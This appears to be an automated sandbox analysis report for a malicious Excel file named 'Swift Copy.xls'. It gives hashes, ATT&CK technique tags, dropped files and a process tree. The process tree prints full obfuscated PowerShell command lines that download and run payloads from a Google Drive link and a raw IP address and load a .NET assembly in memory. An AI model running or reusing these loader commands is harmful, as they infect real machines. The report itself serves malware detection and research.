752387dc376a39db5dcdf2b0030bef0e516b1331b059fff96e4f87f48126a1c8

Analysis

max time kernel
117s
max time network
122s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
29-10-2024 06:16

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Swift Copy.xls
Size

98KB
MD5

524559bfe8623365f3e1569b5b58be85
SHA1

2638ebe72c1df88dd7d9ba66654c55160d41287c
SHA256

752387dc376a39db5dcdf2b0030bef0e516b1331b059fff96e4f87f48126a1c8
SHA512

c2b7f278e9827a53f325c94f736b04451f1021807be5b54c68534e6f2f1f24a51a7977bc762f8dd216d83821be8c85309d2b953117412181848cac877afcc454
SSDEEP

1536:BiqHy1S6F8b2SQrEkawpoXIoGks1Y5jWWTerlEdA5xwiglkk/UlvKBut:beFHrE2sIoGdYkF6y5xtIkk/Oi

Score

10^/10

defense_evasion discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur

exe.dropper

https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur

Signatures

Blocklisted process makes network request 5 IoCs

flow	pid	Process
10	2656	mshta.exe
11	2656	mshta.exe
13	2608	poWERsHELl.eXe
15	2492	powershell.exe
17	2492	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2492	powershell.exe
2888	powershell.exe

Evasion via Device Credential Deployment 2 IoCs

defense_evasion execution

pid	Process
2608	poWERsHELl.eXe
1084	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
14	drive.google.com
15	drive.google.com

Drops file in System32 directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	poWERsHELl.eXe
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	poWERsHELl.eXe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1976	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2608	poWERsHELl.eXe
1084	powershell.exe
2608	poWERsHELl.eXe
2608	poWERsHELl.eXe
2888	powershell.exe
2492	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2608	poWERsHELl.eXe
Token: SeDebugPrivilege	1084	powershell.exe
Token: SeDebugPrivilege	2888	powershell.exe
Token: SeDebugPrivilege	2492	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
1976	EXCEL.EXE
1976	EXCEL.EXE
1976	EXCEL.EXE
1976	EXCEL.EXE
1976	EXCEL.EXE

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 2656 wrote to memory of 2608	2656	mshta.exe	33
PID 2656 wrote to memory of 2608	2656	mshta.exe	33
PID 2656 wrote to memory of 2608	2656	mshta.exe	33
PID 2656 wrote to memory of 2608	2656	mshta.exe	33
PID 2608 wrote to memory of 1084	2608	poWERsHELl.eXe	35
PID 2608 wrote to memory of 1084	2608	poWERsHELl.eXe	35
PID 2608 wrote to memory of 1084	2608	poWERsHELl.eXe	35
PID 2608 wrote to memory of 1084	2608	poWERsHELl.eXe	35
PID 2608 wrote to memory of 1620	2608	poWERsHELl.eXe	36
PID 2608 wrote to memory of 1620	2608	poWERsHELl.eXe	36
PID 2608 wrote to memory of 1620	2608	poWERsHELl.eXe	36
PID 2608 wrote to memory of 1620	2608	poWERsHELl.eXe	36
PID 1620 wrote to memory of 2600	1620	csc.exe	37
PID 1620 wrote to memory of 2600	1620	csc.exe	37
PID 1620 wrote to memory of 2600	1620	csc.exe	37
PID 1620 wrote to memory of 2600	1620	csc.exe	37
PID 2608 wrote to memory of 2908	2608	poWERsHELl.eXe	39
PID 2608 wrote to memory of 2908	2608	poWERsHELl.eXe	39
PID 2608 wrote to memory of 2908	2608	poWERsHELl.eXe	39
PID 2608 wrote to memory of 2908	2608	poWERsHELl.eXe	39
PID 2908 wrote to memory of 2888	2908	WScript.exe	40
PID 2908 wrote to memory of 2888	2908	WScript.exe	40
PID 2908 wrote to memory of 2888	2908	WScript.exe	40
PID 2908 wrote to memory of 2888	2908	WScript.exe	40
PID 2888 wrote to memory of 2492	2888	powershell.exe	42
PID 2888 wrote to memory of 2492	2888	powershell.exe	42
PID 2888 wrote to memory of 2492	2888	powershell.exe	42
PID 2888 wrote to memory of 2492	2888	powershell.exe	42

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde "C:\Users\Admin\AppData\Local\Temp\Swift Copy.xls"
1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:1976

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe -Embedding
1⤵
- Blocklisted process makes network request
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:2656
- C:\Windows\SysWOW64\WindowSpOwERshelL\v1.0\poWERsHELl.eXe
  "C:\Windows\SystEm32\WindowSpOwERshelL\v1.0\poWERsHELl.eXe" "POwersHell -EX bYPaSs -nop -W 1 -C DEVicECRedENtiAlDepLOyMEnT ; iex($(iEx('[sYsTeM.teXt.ENCOdinG]'+[ChaR]0X3a+[chAr]58+'UTF8.gETsTrINg([sySteM.cONVErt]'+[ChAr]58+[chaR]58+'fRombaSe64STRiNg('+[cHAr]0x22+'JDBjWklXOXhNdFR4ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQWRELXRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lTUJFUkRFRmluSVRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTE1vTiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWklDaFJKY2l4a04sc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHIsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEZ4a0dZZERlZnIsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBJd3NkLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBCb1JuKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYU1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJVc1hUUWciICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1lc1BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcnFreiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQwY1pJVzl4TXRUeDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5OC40Ni4xNzguMTU1LzMxMi91dGhpbmtpYW10aGVnb29kdGhpbmdzZm9ydWdpdmVubWViZXN0dGhpbmdzdG9kb3dpdGhtZS50SUYiLCIkRU52OkFQUERBVEFcdXRoaW5raWFtdGhlZ29vZHRoaW5nc2ZvcnVnaXZlbm1lYmVzdHRoaW5nc3RvZC52YlMiLDAsMCk7U1RBUnQtc0xlZXAoMyk7c1RhUlQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTlY6QVBQREFUQVx1dGhpbmtpYW10aGVnb29kdGhpbmdzZm9ydWdpdmVubWViZXN0dGhpbmdzdG9kLnZiUyI='+[ChAr]0X22+'))')))"
  2⤵
  - Blocklisted process makes network request
  - Evasion via Device Credential Deployment
  - Drops file in System32 directory
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2608
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EX bYPaSs -nop -W 1 -C DEVicECRedENtiAlDepLOyMEnT
    3⤵
    - Evasion via Device Credential Deployment
    - Drops file in System32 directory
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1084
- - C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
    "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\zbwygh27.cmdline"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1620
  - - C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
      C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESF0E5.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCF0E4.tmp"
      4⤵
      System Location Discovery: System Language Discovery
      PID:2600
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\uthinkiamthegoodthingsforugivenmebestthingstod.vbS"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2908
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnN3ZZaW1hZ2VVcmwgPSB3MlBodHRwczovL2RyaXZlLmdvb2dsZS5jb20vdWM/ZXhwb3J0PWRvd25sb2FkJmlkPTFBSVZnSkpKdjFGNnZTNHNVT3libkgtc0R2VWhCWXd1ciB3MlA7N3ZZd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlJysnYkNsaWVudDs3dllpbWFnZUJ5dGVzID0gN3ZZd2ViQ2xpZW50LkRvd25sb2FkRGF0YSg3dllpbWFnZVVybCk7N3ZZJysnaW1hJysnZ2VUZXh0ID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcnKycoN3ZZaW1hZ2VCeXRlcyk7N3ZZc3RhcnQnKydGbGFnID0gdzJQPDxCQVNFNjRfU1RBUlQ+PncyUDsnKyc3dlllbmRGbGFnID0gdzJQPDxCQVNFJysnNjRfRU5EPj53MlA7N3ZZc3RhcnRJbmRleCA9IDd2WWltYWdlVGV4dC5JbmRleE9mKDd2WXN0YXJ0RmxhJysnZyk7N3ZZZW5kSW5kZXggPSA3dllpbWFnZVRleHQuSW5kZXhPZig3dlllbmRGbGFnKTs3dllzdGFydEluZGV4IC1nZSAwIC1hbmQgN3ZZZW5kSW5kZXggLWd0IDd2WXN0YXJ0SW5kZXg7N3ZZc3RhcnRJbicrJ2RleCArPSA3dllzdGFydEZsYWcuTGVuJysnZ3QnKydoOzd2WWJhc2U2NExlbmd0aCA9IDd2WWVuZEluZGV4IC0gN3ZZc3RhcnRJbmRleDs3dlliYXNlNjRDb21tYW5kID0gN3ZZaW1hZ2VUZXh0LlN1YnN0cmluZyg3dllzdGFydEluZGV4LCA3dlliYXNlNjRMZW5ndGgpOzd2WWJhc2U2NFJldmVyc2VkID0gLWpvaW4gKDd2WWJhc2U2NENvbW1hbmQuVG9DaGFyQXJyYXkoKSBqR3cgRm9yRWFjaC1PYmplY3QgeyA3dllfIH0pWy0xLi4tKDd2WWJhc2U2NENvbW1hbmQuTGVuZ3RoKV07N3ZZY29tbWFuZEJ5dGVzID0gW1N5c3RlbS5DbycrJ252ZXJ0XTo6RicrJ3JvbUJhc2U2NFN0JysncmluZyg3dlliYXNlNjRSZXZlcnNlZCk7N3ZZbG9hZGVkQXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1iJysnbHldOjpMb2FkKDd2WWNvbW1hJysnbmRCeXRlcyk7N3ZZdmFpTWV0aG9kID0gW2RubGliLklPLkhvbWVdLkdldE1ldGhvZCh3MlBWQUl3MlApOzd2WXZhaU1ldGhvJysnZC5JbnZva2UoN3ZZbnVsbCwgQCh3MlB0eHQuU0dPTEtMLzIxMy81NTEuODcxLjY0Ljg5MS8vOnB0dGh3MlAsIHcyJysnUGRlc2F0aXZhZG93MlAsIHcyUGRlc2F0aXZhZG93MlAsIHcyUGRlJysnc2F0aXZhZG93MlAsJysnIHcyUGFzcG5ldF9yZWdiJysncm93c2Vyc3cyUCwgdzJQZGVzYXRpdmFkb3cyUCwgdzJQZGVzYXRpdmFkb3cyUCx3MlBkZXNhdGl2YWRvdzJQLHcyUGRlc2F0aXZhZG93MlAsdzJQZGVzJysnYXRpdmFkb3cyUCx3MlBkZXNhdGl2YWRvdzJQLHcyUGRlc2EnKyd0aXYnKydhZG93JysnMlAsdzJQMXcyUCx3MlBkZXNhdGl2YWRvdzJQKSk7JykgLUNyRVBsQWNlKFtjSGFSXTExOStbY0hhUl01MCtbY0hhUl04MCksW2NIYVJdMzkgLXJFcGxBY2UgICc3dlknLFtjSGFSXTM2LXJFcGxBY2Unakd3JyxbY0hhUl0xMjQpIHwgJiAoICRwc0hvTUVbMjFdKyRwc0hvTUVbMzBdKydYJyk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
      4⤵
      Command and Scripting Interpreter: PowerShell
      Drops file in System32 directory
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2888
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('7vYimageUrl = w2Phttps://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur w2P;7vYwebClient = New-Object System.Net.We'+'bClient;7vYimageBytes = 7vYwebClient.DownloadData(7vYimageUrl);7vY'+'ima'+'geText = [System.Text.Encoding]::UTF8.GetString'+'(7vYimageBytes);7vYstart'+'Flag = w2P<<BASE64_START>>w2P;'+'7vYendFlag = w2P<<BASE'+'64_END>>w2P;7vYstartIndex = 7vYimageText.IndexOf(7vYstartFla'+'g);7vYendIndex = 7vYimageText.IndexOf(7vYendFlag);7vYstartIndex -ge 0 -and 7vYendIndex -gt 7vYstartIndex;7vYstartIn'+'dex += 7vYstartFlag.Len'+'gt'+'h;7vYbase64Length = 7vYendIndex - 7vYstartIndex;7vYbase64Command = 7vYimageText.Substring(7vYstartIndex, 7vYbase64Length);7vYbase64Reversed = -join (7vYbase64Command.ToCharArray() jGw ForEach-Object { 7vY_ })[-1..-(7vYbase64Command.Length)];7vYcommandBytes = [System.Co'+'nvert]::F'+'romBase64St'+'ring(7vYbase64Reversed);7vYloadedAssembly = [System.Reflection.Assemb'+'ly]::Load(7vYcomma'+'ndBytes);7vYvaiMethod = [dnlib.IO.Home].GetMethod(w2PVAIw2P);7vYvaiMetho'+'d.Invoke(7vYnull, @(w2Ptxt.SGOLKL/213/551.871.64.891//:ptthw2P, w2'+'Pdesativadow2P, w2Pdesativadow2P, w2Pde'+'sativadow2P,'+' w2Paspnet_regb'+'rowsersw2P, w2Pdesativadow2P, w2Pdesativadow2P,w2Pdesativadow2P,w2Pdesativadow2P,w2Pdes'+'ativadow2P,w2Pdesativadow2P,w2Pdesa'+'tiv'+'adow'+'2P,w2P1w2P,w2Pdesativadow2P));') -CrEPlAce([cHaR]119+[cHaR]50+[cHaR]80),[cHaR]39 -rEplAce '7vY',[cHaR]36-rEplAce'jGw',[cHaR]124) | & ( $psHoME[21]+$psHoME[30]+'X')"
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2492

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8B2B9A00839EED1DFDCCC3BFC2F5DF12

Filesize
1KB

MD5
67e486b2f148a3fca863728242b6273e

SHA1
452a84c183d7ea5b7c015b597e94af8eef66d44a

SHA256
facaf1c3a4bf232abce19a2d534e495b0d3adc7dbe3797d336249aa6f70adcfb

SHA512
d3a37da3bb10a9736dc03e8b2b49baceef5d73c026e2077b8ebc1b786f2c9b2f807e0aa13a5866cf3b3cafd2bc506242ef139c423eaffb050bbb87773e53881e

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B46811C17859FFB409CF0E904A4AA8F8

Filesize
436B

MD5
971c514f84bba0785f80aa1c23edfd79

SHA1
732acea710a87530c6b08ecdf32a110d254a54c8

SHA256
f157ed17fcaf8837fa82f8b69973848c9b10a02636848f995698212a08f31895

SHA512
43dc1425d80e170c645a3e3bb56da8c3acd31bd637329e9e37094ac346ac85434df4edcdbefc05ae00aea33a80a88e2af695997a495611217fe6706075a63c58

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8B2B9A00839EED1DFDCCC3BFC2F5DF12

Filesize
174B

MD5
fd8228015d9955a1c12cb0079eacbf3f

SHA1
8040a5ceee66dc923c6706852693927584738897

SHA256
6559192b415a081723d0ddcccab9724c228be28753c3aed299b5dcbec97a2730

SHA512
c5afaf7eaafba5ab5ade8cf095006f36af86953f47732e203f4a6df12472a71aa0cf1a2a3bdbf41c7d3473f4cff083309f2a753ee8964caa7e5ae0843f7001f3

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B46811C17859FFB409CF0E904A4AA8F8

Filesize
170B

MD5
4ba949f06c3569c464127eedec680fdc

SHA1
75f7a0a183f5fa4caec8df473e83d6e835cd25e9

SHA256
b5afdbce60de7bc47f2430adf471b38561de7573f85bbc94021dbdfbbbb0f452

SHA512
5fd7712a0443c0836b469245bcf4e02b8dac26fc89b6885fd20a04bc8eacbc413198b5e530052696b5e2227feff1e78ff7d6a71f299967b34ec749d38cc1210a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\UQFHO95Z\goodthingstoapprovethebestwaytounderstandhowmuchgood[1].hta

Filesize
8KB

MD5
7d0ad307c44b16b828680260c249ae33

SHA1
a3ade36769e4b17d2d9b7c8f40f626cf8878c259

SHA256
66e4da6329b969cc416e9b0e19a91618cfe00d2de4e29f001baf785160d74c02

SHA512
0d856a523911116d1306361ce18735daa24830ce987ea8298581a909837d93b97a7ec6a459b5100b9e4d91899a4b89c47e43b8092051e86da2eec0a3b19de3d0

Download Submit
C:\Users\Admin\AppData\Local\Temp\CabE936.tmp

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESF0E5.tmp

Filesize
1KB

MD5
f8622e4eac6621a53160613eb9df3082

SHA1
bb03c532d8a94b550f04a64b841507e734d6315d

SHA256
19fe94b9187aef4faa69c1a19da714901758b76acf5f3f7b26f8cf32b663bfbe

SHA512
dfc3d818c347f08992b80b32b6695a61ba563e8f432d0c1453a3c6e9e3d199efc06af6754ef71e266564cbf42aad6ec214454690005b195571a3b7536882cbaf

Download Submit
C:\Users\Admin\AppData\Local\Temp\zbwygh27.dll

Filesize
3KB

MD5
294629d28fbfa45de8aeb882adbd547e

SHA1
a266613b6ef23c081c5e60ecf86c9a10c90e62c6

SHA256
7bbb490f0e7f43c05ded8c05838f0ff7cb8da79e959d2ed770ec4ee315389658

SHA512
2acc183936654aa18d07be803a47cb9a2742e75c0036d31f3a62a2748a9b01d7ae2c4e7ee87bfd63275bb40bd9dcecf278326f2faab90de2a92670d8c863c71f

Download Submit
C:\Users\Admin\AppData\Local\Temp\zbwygh27.pdb

Filesize
7KB

MD5
eef6a8f06c67ca4dcf705db06c1c3fc4

SHA1
46b50a58227ada11ecc9ddaefb80acc5b58dc6f6

SHA256
d4d9da90e88c4a5c23092718aca2653096075d4a5ed413c1424da1cc5e04b7d0

SHA512
6dc628cca38bf995a48995265fc255ef896523f2166ec8cffa28e4af7ed72c773d87faa88f61a4bfc7693215a6919bdffd4213a02207b16a42362654e67429b8

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
829c61ea3b4a1728f92357d78e9768bd

SHA1
1102eaa6927309fb1184afeec6908ffb8bbd9822

SHA256
296d8d1df70dd8e75207917951c10ee767be82f6c20f3a4de917e5d1d7d195d9

SHA512
0ed60ac7a606e187578f6cb6ee66a246b225cc7fe536e461dee85ea0ec95d799e5173aad91a0aec0aa432a3ce7190ceac4037e459e106499da0a8707ad325f36

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
e916a20292bb207a8298e3c2b34062c3

SHA1
4b45274dc86c927578f67044d1a707a39bcafbfa

SHA256
bbf7e4603e472f9a0aa49b3749ca5d82f6df9fb8b3ea43c7b423d339761b52dc

SHA512
6808368f49c70f6a1bfc9a63cd95a757cc4774bc919fc1e4d795c348afbdce101c9c65d38a55b519a2431d015cfdb4bf6f779473e3a68d41d4f6b419cd192f28

Download Submit
C:\Users\Admin\AppData\Roaming\uthinkiamthegoodthingsforugivenmebestthingstod.vbS

Filesize
136KB

MD5
f1580330671ef5f9f2c0525092a52a1e

SHA1
e22a52d31f506f4b23fffdf438b2a87c630520d3

SHA256
aa9e57ff6fa9792bc9f8bd02acbd5d248f2e6e361e0516a8972265a90002ed6b

SHA512
940477c296ff67079eaed9cf0a0e894450b919e6d8416e7bc0b8c0031c8c16d5ad1d9a4757d17627cc9f2ceb331f0f432e78d8621497fcf2085e37ea39ca6fa3

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\CSCF0E4.tmp

Filesize
652B

MD5
1e0877b9998b7cc247fa3ff339bbbfa4

SHA1
b28c048298b7506772d0fe382076e9e12737fbc7

SHA256
f717395a9f8788140cb2ac347aa88bae780018dc28b6d8e7e08d57df2634a8f2

SHA512
810d91b0968b210fc08b0064e85218076d364820625c4f8681a073818e5be69d9c5a50fc61c7a43a32191fca30948e6a088a4a432a1d519931ecfe4850f061bf

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\zbwygh27.0.cs

Filesize
461B

MD5
47833bec615200eabb6b94b9402215d9

SHA1
0d09d6af10eb9d2eaa1f0b3083d7417715634610

SHA256
ca55753945475d20ea711d447df602805205d08d77f7fb3495b85e90cb759e02

SHA512
f94e3794f1efd72a4dd88ffa98f4be25b165281f5184e31522995e683b6b17ae4c898127927e7ec257d3794405c560e7b1e5d9c941c88e6a79c95cef794ceeb4

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\zbwygh27.cmdline

Filesize
309B

MD5
9ec510c538e8ce5c4c867f720b747ebb

SHA1
cab0569f792a5eba8b6bfefbc6f2731669a983b9

SHA256
81735e1bfaf24ad31a5509a64fa7666c14dcc09b43ae706026ac25575e8701f7

SHA512
612776545eb3034a6a199457a4c24f896964a7cee9306a7e39014aa4d984ef88e01f85ac8d05933f049eefdb74e49af40ac15a1f189b5e6768983eb946d10b2e

Download Submit
memory/1976-17-0x00000000023B0000-0x00000000023B2000-memory.dmp

Filesize
8KB

Download
memory/1976-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1976-1-0x00000000721AD000-0x00000000721B8000-memory.dmp

Filesize
44KB

Download
memory/1976-60-0x00000000721AD000-0x00000000721B8000-memory.dmp

Filesize
44KB

Download
memory/2656-16-0x0000000002050000-0x0000000002052000-memory.dmp

Filesize
8KB

Download